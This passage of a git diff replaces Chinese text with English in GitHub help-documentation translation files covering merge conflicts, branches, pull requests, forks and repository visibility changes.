with a conflict, select the next file you want to edit on the left side of the page under "conflicting files" and repeat steps four through seven until you've resolved all of your pull request's merge conflicts. + ![Select next conflicting file if applicable](/assets/images/help/pull_requests/resolve-merge-conflict-select-conflicting-file.png) +1. Once you've resolved all your merge conflicts, click **Commit merge**. This merges the entire base branch into your head branch. + ![Resolve merge conflicts button](/assets/images/help/pull_requests/merge-conflict-commit-changes.png) +1. If prompted, review the branch that you are committing to. - 如果头部分支是仓库的默认分支，您可以选择使用为解决冲突所做的更改来更新此分支，或者选择创建一个新分支并将其用作拉取请求的头部分支。 ![提示审查将要更新的分支](/assets/images/help/pull_requests/conflict-resolution-merge-dialog-box.png) + If the head branch is the default branch of the repository, you can choose either to update this branch with the changes you made to resolve the conflict, or to create a new branch and use this as the head branch of the pull request. + ![Prompt to review the branch that will be updated](/assets/images/help/pull_requests/conflict-resolution-merge-dialog-box.png) - 如果您选择创建一个新分支，请输入该分支的名称。 + If you choose to create a new branch, enter a name for the branch. - 如果拉取请求的头部分支是受保护分支，则必须创建新分支。 您将无法选择更新受保护分支。 + If the head branch of your pull request is protected you must create a new branch. You won't get the option to update the protected branch. - 单击 **Create branch and update my pull request（创建分支并更新我的拉取请求**或 **I understand, continue updating（我了解，继续更新）_BRANCH（分支）_**。 按钮文本对应于您正在执行的操作。 -1. 要合并拉取请求，请单击 **Merge pull request（合并拉取请求）**。 有关其他拉取请求合并选项的更多信息，请参阅“[合并拉取请求](/articles/merging-a-pull-request/)”。 + Click **Create branch and update my pull request** or **I understand, continue updating _BRANCH_**. The button text corresponds to the action you are performing. +1. To merge your pull request, click **Merge pull request**. For more information about other pull request merge options, see "[Merging a pull request](/articles/merging-a-pull-request/)." -## 延伸阅读 +## Further reading -- "[关于拉取请求合并](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)" +- "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)" diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md index acac53f87f..b14dec6166 100644 --- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md +++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md @@ -1,6 +1,6 @@ --- -title: 关于分支 -intro: 使用分支隔离开发工作而不影响仓库中的其他分支。 每个仓库都有一个默认分支，也可有多个其他分支。 您可以使用拉取请求将一个分支合并到另一个分支。 +title: About branches +intro: 'Use a branch to isolate development work without affecting other branches in the repository. Each repository has one default branch, and can have multiple other branches. You can merge a branch into another branch using a pull request.' redirect_from: - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches - /articles/working-with-protected-branches/ @@ -15,37 +15,36 @@ versions: topics: - Pull requests --- +## About branches -## 关于分支 +Branches allow you to develop features, fix bugs, or safely experiment with new ideas in a contained area of your repository. -分支允许您在仓库的包含区域中开发功能、修复错误或安全地试验新的想法。 +You always create a branch from an existing branch. Typically, you might create a new branch from the default branch of your repository. You can then work on this new branch in isolation from changes that other people are making to the repository. A branch you create to build a feature is commonly referred to as a feature branch or topic branch. For more information, see "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository/)." -始终可以从现有分支创建分支。 通常，您可能会从仓库的默认分支创建新的分支。 然后，您可以单独处理这个新分支，不受其他人对仓库所做更改的影响。 为构建功能而创建的分支通常称为功能分支或主题分支。 更多信息请参阅“[创建和删除仓库中的分支](/articles/creating-and-deleting-branches-within-your-repository/)”。 +You can also use a branch to publish a {% data variables.product.prodname_pages %} site. For more information, see "[About {% data variables.product.prodname_pages %}](/articles/what-is-github-pages)." -也可以使用分支发布 {% data variables.product.prodname_pages %} 网站。 更多信息请参阅“[关于 {% data variables.product.prodname_pages %}](/articles/what-is-github-pages)”。 +You must have write access to a repository to create a branch, open a pull request, or delete and restore branches in a pull request. For more information, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/access-permissions-on-github)." -必须对仓库有写入权限才可在拉取请求中创建分支、打开拉取请求或者删除和恢复分支。 更多信息请参阅“[{% data variables.product.prodname_dotcom %} 上的访问权限](/github/getting-started-with-github/access-permissions-on-github)”。 +## About the default branch -## 关于默认分支 - -{% data reusables.branches.new-repo-default-branch %} 默认分支是任何人访问您的仓库时 {% data variables.product.prodname_dotcom %} 显示的分支。 默认分支也是初始分支，当有人克隆存储库时，Git 会在本地检出该分支。 {% data reusables.branches.default-branch-automatically-base-branch %} +{% data reusables.branches.new-repo-default-branch %} The default branch is the branch that {% data variables.product.prodname_dotcom %} displays when anyone visits your repository. The default branch is also the initial branch that Git checks out locally when someone clones the repository. {% data reusables.branches.default-branch-automatically-base-branch %} By default, {% data variables.product.product_name %} names the default branch `main` in any new repository. -{% data reusables.branches.set-default-branch %} +{% data reusables.branches.change-default-branch %} {% data reusables.branches.set-default-branch %} -## 使用分支 +## Working with branches -对您的工作感到满意后，可以打开拉取请求以将当前分支（*头部*分支）的更改合并到另一个分支（*基础*分支）。 更多信息请参阅“[关于拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)”。 +Once you're satisfied with your work, you can open a pull request to merge the changes in the current branch (the *head* branch) into another branch (the *base* branch). For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)." -在拉取请求合并或关闭后，可以删除头分支，因为不再需要。 您必须对仓库具有写入权限才能删除分支。 无法删除与打开的拉取请求直接关联的分支。 更多信息请参阅“[删除和恢复拉取请求中的分支](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)”。 +After a pull request has been merged, or closed, you can delete the head branch as this is no longer needed. You must have write access in the repository to delete branches. You can't delete branches that are directly associated with open pull requests. For more information, see "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)" {% data reusables.pull_requests.retargeted-on-branch-deletion %} -下图说明了这一点。 +The following diagrams illustrate this. - Here someone has created a branch called `feature1` from the `main` branch, and you've then created a branch called `feature2` from `feature1`. 两个分支都有打开的拉取请求。 箭头指示每个拉取请求的当前基础分支。 目前，`feature1` 是 `feature2` 的基础分支。 如果合并 `feature2` 的拉取请求，`feature2` 分支将合并到 `feature1`。 + Here someone has created a branch called `feature1` from the `main` branch, and you've then created a branch called `feature2` from `feature1`. There are open pull requests for both branches. The arrows indicate the current base branch for each pull request. At this point, `feature1` is the base branch for `feature2`. If the pull request for `feature2` is merged now, the `feature2` branch will be merged into `feature1`. ![merge-pull-request-button](/assets/images/help/branches/pr-retargeting-diagram1.png) @@ -55,29 +54,29 @@ In the next diagram, someone has merged the pull request for `feature1` into the Now when you merge the `feature2` pull request, it'll be merged into the `main` branch. -## 使用受保护分支 +## Working with protected branches -仓库管理员可对分支启用保护。 如果您处理的是受保护分支，将无法删除或强制推送到该分支。 在分支可以合并之前，仓库管理员可以另外启用几项其他受保护分支设置来实施不同的工作流程。 +Repository administrators can enable protections on a branch. If you're working on a branch that's protected, you won't be able to delete or force push to the branch. Repository administrators can additionally enable several other protected branch settings to enforce various workflows before a branch can be merged. {% note %} -**注：**如果您是仓库管理员，则即使拉取请求不符合要求，只要分支保护未设置为 "Include administrators"（包括管理员），便可在启用了分支保护的分支上合并拉取请求。 +**Note:** If you're a repository administrator, you can merge pull requests on branches with branch protections enabled even if the pull request does not meet the requirements, unless branch protections have been set to "Include administrators." {% endnote %} -要查看您的拉取请求能否合并，请查看拉取请求的 **Conversation（对话）**选项卡底部的合并框。 更多信息请参阅“[关于受保护分支](/articles/about-protected-branches)”。 +To see if your pull request can be merged, look in the merge box at the bottom of the pull request's **Conversation** tab. For more information, see "[About protected branches](/articles/about-protected-branches)." -当分支受保护时： +When a branch is protected: -- 您无法删除或强制推送到该分支。 -- 如果对分支启用了必需状态检查，则在所有必需 CI 测试通过之前，无法将更改合并到分支。 更多信息请参阅“[关于状态检查](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)”。 -- 如果对分支启用了必需拉取请求审查，则在满足拉取请求审查策略中的所有要求之前，无法将更改合并到分支。 更多信息请参阅“[合并拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)”。 -- 如果对分支启用了代码所有者的必需审查，并且拉取请求修改具有所有者的代码，则代码所有者必须批准拉取请求后才可合并。 更多信息请参阅“[关于代码所有者](/articles/about-code-owners)”。 -- 如果对分支启用了必需提交签名，则无法将任何提交推送到未签名和验证的分支。 更多信息请参阅“[关于提交签名验证](/articles/about-commit-signature-verification)”和“[关于受保护分支](/github/administering-a-repository/about-protected-branches#require-signed-commits)”。 -- 如果您使用 {% data variables.product.prodname_dotcom %} 的冲突编辑器来解决从受保护分支创建拉取请求的冲突，{% data variables.product.prodname_dotcom %} 可帮助您为拉取请求创建一个备用分支，以解决合并冲突。 更多信息请参阅“[解决 {% data variables.product.prodname_dotcom %} 上的合并冲突](/github/collaborating-with-issues-and-pull-requests/resolving-a-merge-conflict-on-github)”。 +- You won't be able to delete or force push to the branch. +- If required status checks are enabled on the branch, you won't be able to merge changes into the branch until all of the required CI tests pass. For more information, see "[About status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)." +- If required pull request reviews are enabled on the branch, you won't be able to merge changes into the branch until all requirements in the pull request review policy have been met. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)." +- If required review from a code owner is enabled on a branch, and a pull request modifies code that has an owner, a code owner must approve the pull request before it can be merged. For more information, see "[About code owners](/articles/about-code-owners)." +- If required commit signing is enabled on a branch, you won't be able to push any commits to the branch that are not signed and verified. For more information, see "[About commit signature verification](/articles/about-commit-signature-verification)" and "[About protected branches](/github/administering-a-repository/about-protected-branches#require-signed-commits)." +- If you use {% data variables.product.prodname_dotcom %}'s conflict editor to fix conflicts for a pull request that you created from a protected branch, {% data variables.product.prodname_dotcom %} helps you to create an alternative branch for the pull request, so that your resolution of the conflicts can be merged. For more information, see "[Resolving a merge conflict on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/resolving-a-merge-conflict-on-github)." -## 延伸阅读 +## Further reading -- "[关于拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)" -- {% data variables.product.prodname_dotcom %} 词汇中的“[分支](/articles/github-glossary/#branch)” -- Git 文档中的“[Nutshell 中的分支](https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell)” +- "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)" +- "[Branch](/articles/github-glossary/#branch)" in the {% data variables.product.prodname_dotcom %} glossary +- "[Branches in a Nutshell](https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell)" in the Git documentation diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md index 9c20290162..04002cc4a8 100644 --- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md +++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md @@ -1,6 +1,6 @@ --- -title: 关于拉取请求 -intro: '拉取请求可让您在 {% data variables.product.product_name %} 上向他人告知您已经推送到仓库中分支的更改。 在拉取请求打开后，您可以与协作者讨论并审查潜在更改，在更改合并到基本分支之前添加跟进提交。' +title: About pull requests +intro: 'Pull requests let you tell others about changes you''ve pushed to a branch in a repository on {% data variables.product.product_name %}. Once a pull request is opened, you can discuss and review the potential changes with collaborators and add follow-up commits before your changes are merged into the base branch.' redirect_from: - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests - /articles/using-pull-requests/ @@ -15,30 +15,29 @@ versions: topics: - Pull requests --- - -## 关于拉取请求 +## About pull requests {% note %} -**注：**在处理拉取请求时，请记住： -* 如果操作的是[共享仓库型号](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models)，建议对拉取请求使用主题分支。 从任何分支或提交都可发送拉取请求，但如果需要更新提议的更改，则可使用主题分支推送跟进提交。 -* 在推送提交到拉取请求时，请勿强制推送。 强制推送可能损坏拉取请求。 +**Note:** When working with pull requests, keep the following in mind: +* If you're working in the [shared repository model](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models), we recommend that you use a topic branch for your pull request. While you can send pull requests from any branch or commit, with a topic branch you can push follow-up commits if you need to update your proposed changes. +* When pushing commits to a pull request, don't force push. Force pushing changes the repository history and can corrupt your pull request. If other collaborators branch the project before a force push, the force push may overwrite commits that collaborators based their work on. {% endnote %} You can create pull requests on {% data variables.product.prodname_dotcom_the_website %}, with {% data variables.product.prodname_desktop %}, in {% data variables.product.prodname_codespaces %}, on {% data variables.product.prodname_mobile %}, and when using GitHub CLI. -在初始化拉取请求后，您会看到一个审查页面，其中简要概述您的分支（整个分支）与仓库基本分支之间的更改。 您可以添加提议的更改摘要，审查提交所做的更改，添加标签、里程碑和受理人，以及 @提及个人贡献者或团队。 更多信息请参阅“[创建拉取请求](/articles/creating-a-pull-request)”。 +After initializing a pull request, you'll see a review page that shows a high-level overview of the changes between your branch (the compare branch) and the repository's base branch. You can add a summary of the proposed changes, review the changes made by commits, add labels, milestones, and assignees, and @mention individual contributors or teams. For more information, see "[Creating a pull request](/articles/creating-a-pull-request)." -在创建拉取请求后，您可以从主题分支推送提交，以将它们添加到现有的拉取请求。 这些提交将以时间顺序显示在您的拉取请求中，在 "Files changed"（更改的文件）选项卡中可以看到更改。 +Once you've created a pull request, you can push commits from your topic branch to add them to your existing pull request. These commits will appear in chronological order within your pull request and the changes will be visible in the "Files changed" tab. -其他贡献者可以审查您提议的更改，添加审查注释，参与拉取请求讨论，甚至对拉取请求添加评论。 +Other contributors can review your proposed changes, add review comments, contribute to the pull request discussion, and even add commits to the pull request. {% ifversion fpt or ghec %} -您可以在“Conversation（对话）”选项卡上查看有关分支当前部署状态和以前部署活动的信息。 更多信息请参阅“[查看仓库的部署活动](/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository)”。 +You can see information about the branch's current deployment status and past deployment activity on the "Conversation" tab. For more information, see "[Viewing deployment activity for a repository](/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository)." {% endif %} -对提议的更改感到满意后，您可以合并拉取请求。 如果您在使用共享仓库模型，可以创建一个拉取请求，然后您或其他人将您的功能分支中的更改合并到您在拉取请求中指定的基础分支。 更多信息请参阅“[合并拉取请求](/articles/merging-a-pull-request)”。 +After you're happy with the proposed changes, you can merge the pull request. If you're working in a shared repository model, you create a pull request and you, or someone else, will merge your changes from your feature branch into the base branch you specify in your pull request. For more information, see "[Merging a pull request](/articles/merging-a-pull-request)." {% data reusables.pull_requests.required-checks-must-pass-to-merge %} @@ -46,32 +45,32 @@ You can create pull requests on {% data variables.product.prodname_dotcom_the_we {% tip %} -**提示：** -- 要切换折叠或展开拉取请求中所有过时的审查评论，请按住选项AltAlt 并单击 **Show outdated（显示已过时）**或 **Hide outdated（隐藏已过时）**。 有关更多快捷方式，请参阅“[键盘快捷键](/articles/keyboard-shortcuts)”。 -- 在合并拉取请求时可以压缩提交，以获取更简化的更改视图。 更多信息请参阅“[关于拉取请求合并](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)”。 +**Tips:** +- To toggle between collapsing and expanding all outdated review comments in a pull request, hold down optionAltAlt and click **Show outdated** or **Hide outdated**. For more shortcuts, see "[Keyboard shortcuts](/articles/keyboard-shortcuts)." +- You can squash commits when merging a pull request to gain a more streamlined view of changes. For more information, see "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)." {% endtip %} -您可以访问仪表板，快速找到操作或订阅的最近更新的拉取请求链接。 更多信息请参阅“[关于个人仪表板](/articles/about-your-personal-dashboard)”。 +You can visit your dashboard to quickly find links to recently updated pull requests you're working on or subscribed to. For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard)." -## 草稿拉取请求 +## Draft pull requests {% data reusables.gated-features.draft-prs %} -在创建拉取请求时，可以选择创建可直接审查的拉取请求，或草稿拉取请求。 草稿拉取请求不能合并，也不会自动向代码所有者申请审查草稿拉取请求。 有关创建草稿拉取请求的更多信息，请参阅“[创建拉取请求](/articles/creating-a-pull-request)”和“[从复刻创建拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)”。 +When you create a pull request, you can choose to create a pull request that is ready for review or a draft pull request. Draft pull requests cannot be merged, and code owners are not automatically requested to review draft pull requests. For more information about creating a draft pull request, see "[Creating a pull request](/articles/creating-a-pull-request)" and "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)." -{% data reusables.pull_requests.mark-ready-review %} 您可以随时将拉取请求转换为草稿。 更多信息请参阅“[更改拉取请求的阶段](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)”。 +{% data reusables.pull_requests.mark-ready-review %} You can convert a pull request to a draft at any time. For more information, see "[Changing the stage of a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)." -## 比较页和拉取请求页上的提交之间的差异 +## Differences between commits on compare and pull request pages -比较页和拉取请求页使用不同的方法来计算已更改文件的差异： +The compare and pull request pages use different methods to calculate the diff for changed files: -- 比较页显示头部引用的提示与头部及基础引用当前的共同上层节点（即合并基础）之间的差异。 -- 拉请求页面显示在创建拉取请求时头部引用头与头部和基础的共同上层节点之间的差异。 因此，用于比较的合并基础可能不同。 +- Compare pages show the diff between the tip of the head ref and the current common ancestor (that is, the merge base) of the head and base ref. +- Pull request pages show the diff between the tip of the head ref and the common ancestor of the head and base ref at the time when the pull request was created. Consequently, the merge base used for the comparison might be different. -## 延伸阅读 +## Further reading -- {% data variables.product.prodname_dotcom %} 词汇中的“[拉取请求](/articles/github-glossary/#pull-request)” +- "[Pull request](/articles/github-glossary/#pull-request)" in the {% data variables.product.prodname_dotcom %} glossary - "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)" -- "[评论拉取请求](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)" -- "[关闭拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)" +- "[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)" +- "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)" diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md index 8d6bd3731d..6e91cda0c6 100644 --- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md +++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md @@ -1,6 +1,6 @@ --- -title: 关于复刻 -intro: 复刻是您管理的仓库的副本。 复刻用于更改项目而不影响原始仓库。 您可以通过拉取请求从原始仓库提取更新，或者提交更改到原始仓库。 +title: About forks +intro: A fork is a copy of a repository that you manage. Forks let you make changes to a project without affecting the original repository. You can fetch updates from or submit changes to the original repository with pull requests. redirect_from: - /github/collaborating-with-issues-and-pull-requests/working-with-forks/about-forks - /articles/about-forks @@ -14,11 +14,10 @@ versions: topics: - Pull requests --- +Forking a repository is similar to copying a repository, with two major differences: -复刻仓库类似于复制仓库，主要有两点差异： - -* 您可以使用拉取请求将更改从用户拥有的复刻提交到原始仓库，也称为*上游*仓库。 -* 您可以通过同步复刻与上游仓库，将更改从上游仓库提交到本地复刻。 +* You can use a pull request to suggest changes from your user-owned fork to the original repository, also known as the *upstream* repository. +* You can bring changes from the upstream repository to your local fork by synchronizing your fork with the upstream repository. {% data reusables.repositories.you-can-fork %} @@ -30,17 +29,17 @@ If you're a member of a {% data variables.product.prodname_emu_enterprise %}, th {% data reusables.repositories.desktop-fork %} -删除复刻不会删除原始上游仓库。 您可以对复刻执行所需的任何更改—添加协作者、重命名文件、生成 {% data variables.product.prodname_pages %}—不会影响原始仓库。{% ifversion fpt or ghec %} 复刻的仓库在删除后无法恢复。 更多信息请参阅“[恢复删除的仓库](/articles/restoring-a-deleted-repository)”。{% endif %} +Deleting a fork will not delete the original upstream repository. You can make any changes you want to your fork—add collaborators, rename files, generate {% data variables.product.prodname_pages %}—with no effect on the original.{% ifversion fpt or ghec %} You cannot restore a deleted forked repository. For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %} -在开源项目中，复刻常用于迭代想法或更改，然后将其提交回上游仓库。 在用户拥有的复刻中进行更改，然后打开拉取请求以比较您的工作与上游仓库，便可允许对上游仓库具有推送权限的任何推送更改到拉取请求分支。 这可加速协作，让仓库维护员在合并之前于本地从用户拥有的复刻对拉取请求进行提交或运行测试。 不可向组织拥有的复刻授予推送权限。 +In open source projects, forks are often used to iterate on ideas or changes before they are offered back to the upstream repository. When you make changes in your user-owned fork and open a pull request that compares your work to the upstream repository, you can give anyone with push access to the upstream repository permission to push changes to your pull request branch. This speeds up collaboration by allowing repository maintainers the ability to make commits or run tests locally to your pull request branch from a user-owned fork before merging. You cannot give push permissions to a fork owned by an organization. {% data reusables.repositories.private_forks_inherit_permissions %} -如果以后要从现有仓库的内容创建新仓库，但不想合并上游更改，您可以复制仓库 ，或者，如果该仓库是模板，则使用该仓库作为模板。 更多信息请参阅“[复制仓库](/articles/duplicating-a-repository)”和“[从模板创建仓库](/articles/creating-a-repository-from-a-template)”。 +If you want to create a new repository from the contents of an existing repository but don't want to merge your changes to the upstream in the future, you can duplicate the repository or, if the repository is a template, you can use the repository as a template. For more information, see "[Duplicating a repository](/articles/duplicating-a-repository)" and "[Creating a repository from a template](/articles/creating-a-repository-from-a-template)". -## 延伸阅读 +## Further reading -- "[关于协作开发模式](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models)" -- "[从复刻创建拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)" -- [开源指南](https://opensource.guide/){% ifversion fpt or ghec %} +- "[About collaborative development models](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models)" +- "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)" +- [Open Source Guides](https://opensource.guide/){% ifversion fpt or ghec %} - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %} diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md index ad2b536450..9d9b203f5a 100644 --- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md +++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md @@ -1,6 +1,6 @@ --- -title: 删除仓库或更改其可见性时，复刻会发生什么变化？ -intro: 删除仓库或更改其可见性会影响仓库的复刻。 +title: What happens to forks when a repository is deleted or changes visibility? +intro: Deleting your repository or changing its visibility affects that repository's forks. redirect_from: - /github/collaborating-with-issues-and-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility - /articles/changing-the-visibility-of-a-network/ @@ -14,75 +14,70 @@ versions: ghec: '*' topics: - Pull requests -shortTitle: 删除或更改可见性 +shortTitle: Deleted or changes visibility --- - {% data reusables.repositories.deleted_forks_from_private_repositories_warning %} -## 删除私有仓库 +## Deleting a private repository -当您删除私有仓库时，其所有私有复刻也将被删除。 +When you delete a private repository, all of its private forks are also deleted. {% ifversion fpt or ghes or ghec %} -## 删除公共仓库 +## Deleting a public repository -当您删除公共仓库时，将选择现有的公共复刻之一作为新的父仓库。 所有其他仓库均从这一新的父仓库复刻，并且后续的拉取请求都转到这一新的父仓库。 +When you delete a public repository, one of the existing public forks is chosen to be the new parent repository. All other repositories are forked off of this new parent and subsequent pull requests go to this new parent. {% endif %} -## 私有复刻和权限 +## Private forks and permissions {% data reusables.repositories.private_forks_inherit_permissions %} {% ifversion fpt or ghes or ghec %} -## 将公共仓库更改为私有仓库 +## Changing a public repository to a private repository -如果将公共仓库设为私有，其公共复刻将拆分到新网络中。 与删除公共仓库一样，选择现有的公共分支之一作为新的父仓库，并且所有其他仓库都从这个新的父仓库中复刻。 后续的拉取请求都转到这一新的父仓库。 +If a public repository is made private, its public forks are split off into a new network. As with deleting a public repository, one of the existing public forks is chosen to be the new parent repository and all other repositories are forked off of this new parent. Subsequent pull requests go to this new parent. -换句话说，即使将父仓库设为私有后，公共仓库的复刻也将在其各自的仓库网络中保持公开。 这样复刻所有者便可继续工作和协作，而不会中断。 如果公共复刻没有通过这种方式移动到单独的网络中，则这些复刻的所有者将需要获得适当的[访问权限](/articles/access-permissions-on-github)以从（现在私有的）父仓库中拉取更改并提交拉取请求 — 即使它们以前不需要这些权限。 +In other words, a public repository's forks will remain public in their own separate repository network even after the parent repository is made private. This allows the fork owners to continue to work and collaborate without interruption. If public forks were not moved into a separate network in this way, the owners of those forks would need to get the appropriate [access permissions](/articles/access-permissions-on-github) to pull changes from and submit pull requests to the (now private) parent repository—even though they didn't need those permissions before. {% ifversion ghes or ghae %} -如果公共仓库启用了匿名 Git 读取权限并且该仓库设为私有，则所有仓库的复刻都将失去匿名 Git 读取权限并恢复为默认的禁用设置。 如果将复刻的仓库设为公共，则仓库管理员可以重新启用 Git 读取权限。 更多信息请参阅“[为仓库启用匿名 Git 读取权限](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)。” +If a public repository has anonymous Git read access enabled and the repository is made private, all of the repository's forks will lose anonymous Git read access and return to the default disabled setting. If a forked repository is made public, repository administrators can re-enable anonymous Git read access. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)." {% endif %} -### 删除私有仓库 +### Deleting the private repository -如果将公共仓库设为私有然后删除，其公共复刻将在单独的网络中继续存在。 +If a public repository is made private and then deleted, its public forks will continue to exist in a separate network. -## 将私有仓库更改为公共仓库 +## Changing a private repository to a public repository -如果将私有仓库设为公共，则其每个私有复刻都将变为独立的私有仓库并且成为自己新仓库网络的父仓库。 私有复刻绝不会自动设为公共，因为它们可能包含不应公开显示的敏感提交。 +If a private repository is made public, each of its private forks is turned into a standalone private repository and becomes the parent of its own new repository network. Private forks are never automatically made public because they could contain sensitive commits that shouldn't be exposed publicly. -### 删除公共仓库 +### Deleting the public repository -如果将私有仓库设为公共然后删除，其私有复刻将作为单独网络中的独立私有仓库继续存在。 +If a private repository is made public and then deleted, its private forks will continue to exist as standalone private repositories in separate networks. {% endif %} -{% ifversion fpt or ghae or ghes or ghec %} +{% ifversion ghes or ghec or ghae %} -## 更改内部仓库的可见性 +## Changing the visibility of an internal repository -{% note %} -**注：**{% data reusables.gated-features.internal-repos %} -{% endnote %} +If the policy for your enterprise permits forking, any fork of an internal repository will be private. If you change the visibility of an internal repository, any fork owned by an organization or user account will remain private. -如果企业策略允许复刻，则内部仓库的任何复刻都将是私有的。 如果您更改内部仓库的可见性，组织或用户帐户拥有的任何复刻都将保持私有。 +### Deleting the internal repository -### 删除内部仓库 - -如果您更改了内部仓库的可见性，然后删除仓库，复刻将继续存在于单独的网络中。 +If you change the visibility of an internal repository and then delete the repository, the forks will continue to exist in a separate network. {% endif %} -## 延伸阅读 +## Further reading -- “[设置仓库可见性](/articles/setting-repository-visibility)” -- "[关于复刻](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" -- "[管理仓库的复刻策略](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)" -- "[管理组织的复刻策略](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)" +- "[Setting repository visibility](/articles/setting-repository-visibility)" +- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" +- "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)" +- "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)" - "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-on-forking-private-or-internal-repositories)" diff --git 